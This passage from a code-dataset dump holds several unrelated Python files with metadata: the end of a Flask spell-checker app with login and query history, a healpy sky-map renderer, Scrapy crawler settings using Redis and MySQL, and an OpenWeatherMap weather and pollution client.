universal_newlines=True) #BACKUP #use if using python3.6\n #spellout = subprocess.run(['./a.out', 'userinput.txt', 'wordlist.txt'], capture_output=True, text=True) # stderr=subprocess.DEVNULL\n\n with open('mispelled.txt', 'w') as g:\n g.write(spellout.stdout)\n g.close()\n with open('mispelled.txt', 'r') as g:\n mispelled = g.read().replace('\\n', ', ').strip().strip(',')\n g.close()\n print(inputtext)\n print(mispelled)\n newlog = spellTable(username=curr, querytext=inputtext, queryresults=mispelled)\n db.session.add(newlog)\n db.session.commit()\n #spellout2 = spellout.stdout\n #print(spellout.stdout)\n \n return render_template('spell_check.html', title = 'Spell Checker', pagename = 'Spell Check Page', textout = inputtext, misspelled = mispelled, form = form)\n \n return render_template('spell_check.html', title = 'Spell Checker', pagename = 'Spell Check Page', form = form)\n\n@app.route('/login_history', methods=[\"POST\", \"GET\"]) #login history\n@login_required\ndef login_history():\n form=LoginHistoryForm()\n curr = current_user\n \n #print(curr)\n if curr.useradmin == True:\n if form.validate_on_submit(): \n inputtext = form.userid.data \n dbuser = logTable.query.filter_by(username=inputtext).first()\n if dbuser != None:\n flash('Successful Query', 'success')\n #print(inputtext)\n history = logTable.query.filter_by(username=inputtext).all()\n print(history)\n\n\n return render_template('login_history.html', title = 'Login History', pagename = 'Login History -- ADMIN ACCESS ONLY', history = history, form = form)\n else:\n flash('No Log History for User', 'danger')\n #else:\n #flash('Unsuccessful Query', 'danger')\n else:\n return \"Unauthorized\"\n return render_template('login_history.html', title = 'Login History', pagename = 'Login History -- ADMIN ACCESS ONLY', form = form)\n\n@app.route('/history', methods=[\"POST\", \"GET\"]) #spell history\n@login_required\ndef history():\n form=SpellHistoryForm()\n curr = current_user\n if curr.useradmin == True:\n if form.validate_on_submit():\n inputtext = form.userquery.data\n dbuser = spellTable.query.filter_by(username=inputtext).first()\n if dbuser != None:\n dbhistory = spellTable.query.filter_by(username=inputtext).all()\n #count = dbhistory.count('spellTable')\n count = len(dbhistory)\n print(count)\n print(dbhistory)\n #render template for results\n return render_template('history_result.html', title = 'Spell History', pagename = 'Spell History Results', user = inputtext, count=count, history = dbhistory)\n else: \n flash('No Spell History for User', 'danger')\n return render_template('history.html', title='Spell History', pagename='Spell History', form=form)\n else:\n #dbuser = spellTable.query.filter_by(username=curr.username).first()\n #if dbuser != None:\n dbhistory = spellTable.query.filter_by(username=curr.username).all()\n #count = dbhistory.count('spellTable')\n count = len(dbhistory)\n print(count)\n print(dbhistory)\n #render template for results for user\n return render_template('history_result.html', title = 'Spell History', pagename = 'Spell History Results', user=curr.username, count=count, history = dbhistory)\n\n@app.route('/history/query<log>')\n@login_required\ndef querydetail(log):\n curr = current_user\n dbuser = spellTable.query.filter_by(id=log).first()\n if (curr.useradmin == True):\n dbquery = spellTable.query.filter_by(id=log).all()\n return render_template('query_details.html', title = 'Query Details', pagename = 'Query Details', query = dbquery)\n\n elif (curr.username == dbuser.username):\n dbquery = spellTable.query.filter_by(id=log).all()\n return render_template('query_details.html', title = 'Query Details', pagename = 'Query Details', query = dbquery)\n else:\n return \"Unauthorized\"\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n\n", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 16728, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "flask.Flask", "line_number": 12, "usage_type": "call"}, {"api_name": "flask_bcrypt.Bcrypt", "line_number": 14, "usage_type": "call"}, {"api_name": "flask_wtf.csrf.CSRFProtect", "line_number": 15, "usage_type": "call"}, {"api_name": "flask_login.LoginManager", "line_number": 17, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 21, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 29, "usage_type": "call"}, {"api_name": "flask_login.UserMixin", "line_number": 32, "usage_type": "name"}, {"api_name": "flask_login.UserMixin", "line_number": 43, "usage_type": "name"}, {"api_name": "flask_login.UserMixin", "line_number": 52, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 103, "usage_type": "call"}, {"api_name": "flask_login.current_user", "line_number": 108, "usage_type": "argument"}, {"api_name": "flask_login.current_user.username", "line_number": 109, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 109, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 117, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 117, "usage_type": "name"}, {"api_name": "flask_login.logout_user", "line_number": 122, "usage_type": "call"}, {"api_name": "flask_login.current_user", "line_number": 123, "usage_type": "argument"}, {"api_name": "flask.flash", "line_number": 126, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 127, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 127, "usage_type": "call"}, {"api_name": "flask_login.current_user.is_authenticated", "line_number": 132, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 132, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 133, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 134, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 134, "usage_type": "call"}, {"api_name": "forms.RegistrationForm", "line_number": 135, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 148, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 152, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 157, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 161, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 164, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 165, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 166, "usage_type": "call"}, {"api_name": "forms.LoginForm", "line_number": 174, "usage_type": "call"}, {"api_name": "flask_login.login_user", "line_number": 192, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 193, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 193, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 196, "usage_type": "call"}, {"api_name": "flask_login.current_user", "line_number": 201, "usage_type": "argument"}, {"api_name": "flask_login.current_user.username", "line_number": 202, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 202, "usage_type": "name"}, {"api_name": "flask.session.values", "line_number": 203, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 203, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 206, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 208, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 210, "usage_type": "call"}, {"api_name": "flask_login.login_user", "line_number": 222, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 223, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 223, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 226, "usage_type": "call"}, {"api_name": "flask_login.current_user", "line_number": 231, "usage_type": "argument"}, {"api_name": "flask_login.current_user.username", "line_number": 232, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 232, "usage_type": "name"}, {"api_name": "flask.session.values", "line_number": 233, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 233, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 236, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 238, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 240, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 242, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 244, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 245, "usage_type": "call"}, {"api_name": "forms.SpellForm", "line_number": 252, "usage_type": "call"}, {"api_name": "flask_login.current_user.username", "line_number": 256, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 256, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 258, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 267, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 267, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 284, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 286, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 250, "usage_type": "name"}, {"api_name": "forms.LoginHistoryForm", "line_number": 291, "usage_type": "call"}, {"api_name": "flask_login.current_user", "line_number": 292, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 300, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 306, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 308, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 313, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 289, "usage_type": "name"}, {"api_name": "forms.SpellHistoryForm", "line_number": 318, "usage_type": "call"}, {"api_name": "flask_login.current_user", "line_number": 319, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 331, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 333, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 334, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 344, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 316, "usage_type": "name"}, {"api_name": "flask_login.current_user", "line_number": 349, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 353, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 357, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 347, "usage_type": "name"}]} {"seq_id": "498450244", "text": "\"\"\"\nSkymap - render an LMap\n\nNote that an LMap is stored in nested order.\n\"\"\"\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport healpy as hp\n\nfrom snewpdag.dag import Node\nfrom snewpdag.values import LMap\n\nclass Skymap(Node):\n def __init__(self, in_field, title, filename, **kwargs):\n self.in_field = in_field\n self.title = title\n self.filename = filename\n super().__init__(**kwargs)\n\n def alert(self, data):\n m = data.get(self.in_field, None)\n if m:\n # replace a lot of these options later\n hp.mollview(m.map,\n coord=[\"G\", \"E\"],\n title=self.title,\n unit=\"mK\",\n norm=\"hist\",\n min=-1,\n max=1,\n nest=True,\n )\n hp.graticule()\n plt.savefig(self.filename)\n return True\n\n", "sub_path": "snewpdag/plugins/renderers/Skymap.py", "file_name": "Skymap.py", "file_ext": "py", "file_size_in_byte": 851, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "snewpdag.dag.Node", "line_number": 13, "usage_type": "name"}, {"api_name": "healpy.mollview", "line_number": 24, "usage_type": "call"}, {"api_name": "healpy.graticule", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}]} {"seq_id": "635245688", "text": "# -*- coding: utf-8 -*-\n\n# Scrapy settings for zbsjw project\n#\n# For simplicity, this file contains only settings considered important or\n# commonly used. You can find more settings consulting the documentation:\n#\n# http://doc.scrapy.org/en/latest/topics/settings.html\n# http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html\n# http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html\nimport logging\nfrom os import path\n\nlogger = logging.getLogger(__name__)\n\nBASE_DIR = path.dirname(path.dirname(path.abspath(__file__)))\nlogger.info('BASE_DIR %s' % BASE_DIR)\n\nBOT_NAME = 'zbsjw'\n\nSPIDER_MODULES = ['zbsjw.spiders']\nNEWSPIDER_MODULE = 'zbsjw.spiders'\n\n\n# Crawl responsibly by identifying yourself (and your website) on the user-agent\n#USER_AGENT = 'zbsjw (+http://www.yourdomain.com)'\n\n# Configure maximum concurrent requests performed by Scrapy (default: 16)\n#CONCURRENT_REQUESTS=32\n\n# Configure a delay for requests for the same website (default: 0)\n# See http://scrapy.readthedocs.org/en/latest/topics/settings.html#download-delay\n# See also autothrottle settings and docs\nDOWNLOAD_DELAY=5\n# The download delay setting will honor only one of:\n#CONCURRENT_REQUESTS_PER_DOMAIN=16\n#CONCURRENT_REQUESTS_PER_IP=16\n\n# Disable cookies (enabled by default)\nCOOKIES_ENABLED=True\nCOOKIES_DEBUG = True\n\n# Disable Telnet Console (enabled by default)\n#TELNETCONSOLE_ENABLED=False\n\n# Override the default request headers:\n#DEFAULT_REQUEST_HEADERS = {\n# 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n# 'Accept-Language': 'en',\n#}\n\n# Enable or disable spider middlewares\n# See http://scrapy.readthedocs.org/en/latest/topics/spider-middleware.html\n#SPIDER_MIDDLEWARES = {\n# 'zbsjw.middlewares.MyCustomSpiderMiddleware': 543,\n#}\n\n# Enable or disable downloader middlewares\n# See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html\nDOWNLOADER_MIDDLEWARES = {\n# 'zbsjw.middlewares.MyCustomDownloaderMiddleware': 543,\n 'scrapy.downloadermiddlewares.cookies.CookiesMiddleware': None, # 使用自己实现的\n 'zbsjw.middlewares.FileCookiesMiddleware': 700,\n}\n\n# Enable or disable extensions\n# See http://scrapy.readthedocs.org/en/latest/topics/extensions.html\n#EXTENSIONS = {\n# 'scrapy.telnet.TelnetConsole': None,\n#}\n\nRETRY_TIMES = 5\n\n# Configure item pipelines\n# See http://scrapy.readthedocs.org/en/latest/topics/item-pipeline.html\n#ITEM_PIPELINES = {\n# 'zbsjw.pipelines.SomePipeline': 300,\n#}\n\n# Enable and configure the AutoThrottle extension (disabled by default)\n# See http://doc.scrapy.org/en/latest/topics/autothrottle.html\n# NOTE: AutoThrottle will honour the standard settings for concurrency and delay\nAUTOTHROTTLE_ENABLED=True\n# The initial download delay\nAUTOTHROTTLE_START_DELAY=5\n# The maximum download delay to be set in case of high latencies\nAUTOTHROTTLE_MAX_DELAY=180\n# Enable showing throttling stats for every response received:\nAUTOTHROTTLE_DEBUG=True\n\n# Enable and configure HTTP caching (disabled by default)\n# See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings\n#HTTPCACHE_ENABLED=True\n#HTTPCACHE_EXPIRATION_SECS=0\n#HTTPCACHE_DIR='httpcache'\n#HTTPCACHE_IGNORE_HTTP_CODES=[]\n#HTTPCACHE_STORAGE='scrapy.extensions.httpcache.FilesystemCacheStorage'\n\n# Enables scheduling storing requests queue in redis.\nSCHEDULER = \"scrapy_redis.scheduler.Scheduler\"\n\n# Ensure all spiders share same duplicates filter through redis.\n# DUPEFILTER_CLASS = \"scrapy_redis.dupefilter.RFPDupeFilter\"\n\n# SCHEDULER_QUEUE_CLASS = 'scrapy_redis.queue.SpiderPriorityQueue'\nSCHEDULER_QUEUE_CLASS = 'scrapy_redis.queue.SpiderQueue'\n\n# Don't cleanup redis queues, allows to pause/resume crawls.\nSCHEDULER_PERSIST = True\n\nSCHEDULER_IDLE_BEFORE_CLOSE = 5 \n\n# Store scraped item in redis for post-processing.\nITEM_PIPELINES = {\n 'zbsjw.pipelines.ZbsjwRedisPipeline': 300\n}\n\n# 省缩略词列表\nPROVINCE_ABBR_LIST = ( \n 'bj', 'tj', 'heb', 'sx', 'nmg', 'ln', 'jl', 'hlj', 'sh', 'js', 'zj', 'ah',\n 'fj', 'jx', 'sd', 'hen', 'hub', 'hun', 'gd', 'gx', 'han', 'cq', 'sc', 'gz', 'yn',\n 'xz', 'shx', 'gs', 'qh', 'nx', 'xj',\n)\n\n# 省份在数据库中 id\nPROVINCE_ID = {\n 'ah': 2, \n 'bj': 515,\n 'fj': 849,\n 'gs': 1303,\n 'gd': 1408,\n 'gx': 2527,\n 'gz': 2753,\n 'han': 2876,\n 'heb': 2913,\n 'hen': 3868,\n 'hlj': 4496,\n 'hub': 4957,\n 'hun': 5410,\n 'jl': 5919,\n 'js': 6193,\n 'jx': 6972,\n 'ln': 7421,\n 'nmg': 8260,\n 'nx': 8636,\n 'qh': 8662,\n 'sd': 8690,\n 'sx': 9666,\n 'shx': 10133,\n 'sh': 10535,\n 'sc': 10917,\n 'tj': 11328,\n 'xz': 11666,\n 'xj': 11683,\n 'yn': 11995,\n 'zj': 12568,\n 'cq': 13736\n}\n\n# 抓取类型\nCRAWL_TYPE = ('zb',)\n\n# redis 配置\nREDIS_CONF = {\n 'host': '127.0.0.1',\n 'port': 6379,\n 'db': 0,\n}\n\n# mysql 数据库配置\nMYSQL_CONF = {\n 'host': '192.168.1.100',\n 'port': 3306,\n 'user': 'root',\n 'passwd': 'mysql123',\n 'db': 'kuaijie',\n 'charset': 'utf8',\n 'use_unicode': True\n}\n\n# 数据导入的正式环境数据库配置\nTARGET_DB = {\n 'host': '192.168.1.100',\n 'port': 3306,\n 'user': 'root',\n 'passwd': 'mysql123',\n 'db': 'nodeweb',\n 'charset': 'utf8',\n 'use_unicode': True\n}\n# 正式环境数据库中对应的表名\nTARGET_TABEL = 'data_zhongbiao_new'\n\nLOG_FILE='logs/spider.log'\nLOG_FORMAT= '%(levelname)s %(asctime)s [%(name)s:%(module)s:%(funcName)s:%(lineno)s] [%(exc_info)s] %(message)s'", "sub_path": "zbsjw/zbsjw/settings.py", "file_name": "settings.py", "file_ext": "py", "file_size_in_byte": 5499, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 16, "usage_type": "call"}]} {"seq_id": "178626522", "text": "#!/usr/bin/env python\nimport json, time\nfrom datetime import datetime\nfrom urllib2 import Request, urlopen, HTTPError# update to use requests module?\n\nclass CurrentWeather(object):\n \"\"\"A class for getting the current US weather using the OpenWeatherMap API.\"\"\"\n def __init__(self, zipcode, api_key):\n self.zipcode = zipcode\n self.api_key = api_key\n \n def connect(self):# may need to add more error-checking; API results seem to deviate from documentation\n \"\"\"connects to OpenWeatherMap server and pull weather data.\"\"\"\n request = Request('http://api.openweathermap.org/data/2.5/weather?zip={0},us&APPID={1}'.format(self.zipcode, self.api_key))\n try:\n data = urlopen(request).read()\n except HTTPError:\n print(\"No current weather data available.\")\n return 0\n self.decoded_dict = json.loads(data)\n if self.decoded_dict.get('message') == 'not found':\n return \"Data unavailable\"\n self.data_collection_time = self.decoded_dict.get('dt', 'unknown')\n self.cloud_cover = self.decoded_dict.get('clouds', 'unknown').get('all', 'unknown')\n self.city_name = self.decoded_dict.get('name', 'unknown')\n self.longitude = self.decoded_dict.get('coord', 'unknown').get('lon', 'unknown')\n self.latitude = self.decoded_dict.get('coord', 'unknown').get('lat', 'unknown')\n self.country = self.decoded_dict.get('sys', 'unknown').get('country', 'unknown')\n self.sunset_time = self.decoded_dict.get('sys', 'unknown').get('sunset', 'unknown')\n self.sunrise_time = self.decoded_dict.get('sys', 'unknown').get('sunrise', 'unknown')\n self.weather_cond_id = self.decoded_dict.get('weather', 'unknown')[0].get('id', 'unknown')# multiple weather conditions can be included here. \n self.weather_group = self.decoded_dict.get('weather', 'unknown')[0].get('main', 'unknown')# currently, we'll just get the primary.\n self.weather_description = self.decoded_dict.get('weather', 'unknown')[0].get('description', 'unknown')\n try:\n self.rain_3h = self.decoded_dict.get('rain', 'unknown').get('3h', 'unknown')\n except:\n self.rain_3h = 0\n self.pressure = self.decoded_dict.get('main', 'unknown').get('pressure', 'unknown')\n self.temp_min = self.decoded_dict.get('main', 'unknown').get('temp_min', 'unknown')\n self.temp_max = self.decoded_dict.get('main', 'unknown').get('temp_max', 'unknown')\n self.temp = self.decoded_dict.get('main', 'unknown').get('temp', 'unknown')\n self.humidity = self.decoded_dict.get('main', 'unknown').get('humidity', 'unknown')\n self.city_id = self.decoded_dict.get('id', 'unknown')\n self.wind_speed = self.decoded_dict.get('wind', 'unknown').get('speed', 'unknown')\n self.wind_gust = self.decoded_dict.get('wind', 'unknown').get('gust', 'unknown')\n self.wind_direction = self.decoded_dict.get('wind', 'unknown').get('deg', 'unknown')\n return 1\n \n def record_data(self, interval, filename, max_data_points):\n \"\"\"periodically connect to API and write results to CSV file.\"\"\"\n datafile = open(filename, 'w')\n datafile.write(\"zipcode,data_collection_time,cloud_cover,weather_group,weather_description,pressure,temp,humidity,wind_speed,wind_direction\\n\")\n for i in range(max_data_points):\n self.connect()\n datafile.write(str(self.zipcode)+\",\"+str(self.data_collection_time)+\",\"+str(self.cloud_cover)+\",\"+str(self.weather_group)+\",\"+str(self.weather_description)+\",\"+str(self.pressure)+\",\"+\n str(self.temp)+\",\"+str(self.humidity)+\",\"+str(self.wind_speed)+\",\"+str(self.wind_direction)+\"\\n\")\n print(\"Data point {0} recorded\").format(str(i+1))\n if i < (max_data_points-1):\n time.sleep(interval*60)\n datafile.close()\n \n \n def parse(self, data):# for directly parsing data string\n \"\"\"parses data directly from a string.\"\"\"\n self.decoded_dict = json.loads(data)\n self.data_collection_time = self.decoded_dict.get('dt', 'unknown')\n self.cloud_cover = self.decoded_dict.get('clouds', 'unknown').get('all', 'unknown')\n self.city_name = self.decoded_dict.get('name', 'unknown')\n self.longitude = self.decoded_dict.get('coord', 'unknown').get('lon', 'unknown')\n self.latitude = self.decoded_dict.get('coord', 'unknown').get('lat', 'unknown')\n self.country = self.decoded_dict.get('sys', 'unknown').get('country', 'unknown')\n self.sunset_time = self.decoded_dict.get('sys', 'unknown').get('sunset', 'unknown')\n self.sunrise_time = self.decoded_dict.get('sys', 'unknown').get('sunrise', 'unknown')\n self.weather_cond_id = self.decoded_dict.get('weather', 'unknown')[0].get('id', 'unknown')\n self.weather_group = self.decoded_dict.get('weather', 'unknown')[0].get('main', 'unknown')\n self.weather_description = self.decoded_dict.get('weather', 'unknown')[0].get('description', 'unknown')\n try:\n self.rain_3h = self.decoded_dict.get('rain', 'unknown').get('3h', 'unknown')\n except:\n self.rain_3h = None\n self.pressure = self.decoded_dict.get('main', 'unknown').get('pressure', 'unknown')\n self.temp_min = self.decoded_dict.get('main', 'unknown').get('temp_min', 'unknown')\n self.temp_max = self.decoded_dict.get('main', 'unknown').get('temp_max', 'unknown')\n self.temp = self.decoded_dict.get('main', 'unknown').get('temp', 'unknown')\n self.humidity = self.decoded_dict.get('main', 'unknown').get('humidity', 'unknown')\n self.city_id = self.decoded_dict.get('id', 'unknown')\n self.wind_speed = self.decoded_dict.get('wind', 'unknown').get('deg', 'unknown')\n self.wind_gust = self.decoded_dict.get('wind', 'unknown').get('gust', 'unknown')\n self.wind_direction = self.decoded_dict.get('wind', 'unknown').get('deg', 'unknown')\n \n def get_data_collection_time(self):\n \"\"\"returns data collection time as tuple (UTC UNIX time, UTC time)\"\"\"\n return (self.data_collection_time, datetime.fromtimestamp(int(self.data_collection_time)).strftime('%Y-%m-%d %H:%M:%S'))\n \n def get_cloud_cover(self):\n \"\"\"returns cloud cover as tuple (value, unit)\"\"\"\n return (self.cloud_cover, \"%\")\n \n def get_location(self):\n \"\"\"returns city and country as string\"\"\"\n return \"{0}, {1}\".format(self.city_name, self.country)\n \n def get_lat_lon(self):\n \"\"\"returns latitude and longitude as tuple (latitude, longitude)\"\"\"\n return (self.latitude, self.longitude)\n \n def get_sunrise(self):\n \"\"\"returns sunrise time as tuple (UTC UNIX time, UTC time)\"\"\"\n return (self.sunrise_time, datetime.fromtimestamp(int(self.sunrise_time)).strftime('%Y-%m-%d %H:%M:%S'))\n \n def get_sunset(self):\n \"\"\"returns sunrise time as tuple (UTC UNIX time, UTC time)\"\"\"\n return (self.sunset_time, datetime.fromtimestamp(int(self.sunset_time)).strftime('%Y-%m-%d %H:%M:%S'))\n \n def get_weather(self):\n \"\"\"returns a tuple: (weather group, weather description)\"\"\"\n return (self.weather_group, self.weather_description)\n \n def get_rain_3h(self):\n \"\"\"returns the quantity of rain that has fallen in the last 3 hours as tuple (value, unit)\"\"\"\n return (self.rain_3h, \"cm\")\n \n def get_pressure(self):\n \"\"\"returns the current barometric pressure as tuple (value, unit)\"\"\"\n return (self.pressure, \"mmHg\")\n \n def get_temp(self):\n \"\"\"returns the current temperature as tuple (value, unit)\"\"\"\n return (self.temp, \"K\")\n \n def get_humidity(self):\n \"\"\"returns the current humidity as tuple (value, unit)\"\"\"\n return (self.humidity, \"%\")\n \n def get_wind_speed(self):\n \"\"\"returns the current wind speed as tuple (value, unit)\"\"\"\n return (self.wind_speed, \"meters/second\")\n \n def get_wind_direction(self):\n \"\"\"returns the current wind direction as tuple (direction in degrees, cardinal direction)\"\"\"\n def cardinal_direction(degrees):# OWM API should technically supply cardinal values, but in case it doesn't, we'll calculate them here.\n if (degrees <= 360.0 and degrees > 337.5) or (degrees <= 22.5 and degrees > 0.0):\n return 'N'\n elif degrees <= 67.5 and degrees > 22.5:\n return 'NE'\n elif degrees <= 112.5 and degrees > 67.5:\n return 'E'\n elif degrees <= 157.5 and degrees > 112.5:\n return 'SE'\n elif degrees <= 202.5 and degrees > 157.5:\n return 'S'\n elif degrees <= 247.5 and degrees > 202.5:\n return 'SW' \n elif degrees <= 292.5 and degrees > 247.5:\n return 'W'\n elif degrees <= 337.5 and degrees > 292.5:\n return 'NW'\n else:\n 'Unknown' \n return (self.wind_direction, cardinal_direction(int(self.wind_direction)))\n\n# need to continue work on sections below -- add units to returned tuples. Also, improve error handling in case these functions are run before connect() \n def connect_co(self):# these functions don't currently seem to work very well for locations inside the US\n \"\"\"connects to OpenWeatherMap carbon monoxide API\"\"\"\n request = Request('http://api.openweathermap.org/pollution/v1/co/{0},{1}/current.json?appid={2}'.format(round(self.latitude, 1), round(self.longitude, 1), self.api_key))\n try:\n data = urlopen(request).read()\n except HTTPError:\n print(\"No current CO data available.\")\n return 0\n self.decoded_dict = json.loads(data)\n if self.decoded_dict.get('message') == 'not found':\n return \"Data unavailable\"\n self.co = []\n for entry in self.decoded_dict['data']:\n self.co.append((entry['pressure'], entry['value'], entry['precision']))\n self.co_location = (self.decoded_dict.get('location').get('latitude'), self.decoded_dict.get('location').get('longitude'))\n self.co_datetime = self.decoded_dict.get('time')\n return 1\n \n def get_co_details(self):\n \"\"\"returns nested tuple (sampling datetime, (latitude, longitude),\n [(pressure, value, precision)])\"\"\"\n return (self.co_datetime, self.co_location, self.co)\n \n def connect_o3(self):\n \"\"\"connects to OpenWeatherMap ozone API\"\"\"\n request = Request('http://api.openweathermap.org/pollution/v1/o3/{0},{1}/current.json?appid={2}'.format(round(self.latitude, 1), round(self.longitude, 1), self.api_key))\n try:\n data = urlopen(request).read()\n except HTTPError:\n print(\"No current O3 data available.\")\n return 0\n self.decoded_dict = json.loads(data)\n if self.decoded_dict.get('message') == 'not found':\n return \"Data unavailable\"\n self.o3 = self.decoded_dict.get('data')\n self.o3_location = (self.decoded_dict.get('location').get('latitude'), self.decoded_dict.get('location').get('longitude'))\n self.o3_datetime = self.decoded_dict.get('time')\n return 1\n\n def get_o3_details(self):\n \"\"\"returns nested tuple (sampling datetime, (latitude, longitude), value)\"\"\"\n return (self.o3_datetime, self.o3_location, self.o3)\n \n def connect_so2(self):\n \"\"\"connects to OpenWeatherMap sulfur dioxide API\"\"\"\n request = Request('http://api.openweathermap.org/pollution/v1/so2/{0},{1}/current.json?appid={2}'.format(round(self.latitude, 1), round(self.longitude, 1), self.api_key))\n try:\n data = urlopen(request).read()\n except HTTPError:\n print(\"No current SO2 data available.\")\n return 0\n self.decoded_dict = json.loads(data)\n if self.decoded_dict.get('message') == 'not found':\n return \"Data unavailable\"\n self.so2 = []\n for entry in self.decoded_dict['data']:\n self.so2.append((entry['pressure'], entry['value'], entry['precision']))\n self.so2_location = (self.decoded_dict.get('location').get('latitude'), self.decoded_dict.get('location').get('longitude'))\n self.so2_datetime = self.decoded_dict.get('time')\n return 1\n\n def get_so2_details(self):\n \"\"\"returns nested tuple (sampling datetime, (latitude, longitude),\n [(pressure, value, precision)])\"\"\"\n return (self.so2_datetime, self.so2_location, self.so2)\n \n def connect_no2(self):\n \"\"\"connects to OpenWeatherMap nitrogen dioxide API\"\"\"\n request = Request('http://api.openweathermap.org/pollution/v1/no2/{0},{1}/current.json?appid={2}'.format(round(self.latitude, 1), round(self.longitude, 1), self.api_key))\n try:\n data = urlopen(request).read()\n except HTTPError:\n print(\"No current SO2 data available.\")\n return 0\n self.decoded_dict = json.loads(data)\n if self.decoded_dict.get('message') == 'not found':\n return \"Data unavailable\"\n try:\n self.no2_trop = (self.decoded_dict.get('data').get('no2_trop').get('value',0), self.decoded_dict.get('data').get('no2_trop').get('precision',0))\n except:\n self.no2_trop = (None, None)\n try:\n self.no2_strat = (self.decoded_dict.get('data').get('no2_strat').get('value',0), self.decoded_dict.get('data').get('no2_strat').get('precision',0))\n except:\n self.no2_strat = (None, None)\n try:\n self.no2 = (self.decoded_dict.get('data').get('no2').get('value',0), self.decoded_dict.get('data').get('no2').get('precision',0))\n except:\n self.no2 = (None, None)\n self.no2_location = (self.decoded_dict.get('location').get('latitude'), self.decoded_dict.get('location').get('longitude'))\n self.no2_datetime = self.decoded_dict.get('time')\n return 1\n\n def get_no2_details(self):\n \"\"\"returns a nested tuple (sampling datetime, (latitude, longitude),\n (trop. no2 value, precision), (strat. no2 value, precision), (no2 value, precision))\"\"\"\n return (self.no2_datetime, self.no2_location, self.no2_trop, self.no2_strat, self.no2)\n \nif __name__ == '__main__':\n print(\"Suggested uses: Import as a module, or run in an IDE.\")\n", "sub_path": "CurrentWeather.py", "file_name": "CurrentWeather.py", "file_ext": "py", "file_size_in_byte": 14559, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "urllib2.Request", "line_number": 14, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 16, "usage_type": "call"}, {"api_name": "urllib2.HTTPError", "line_number": 17, "usage_type": "name"}, 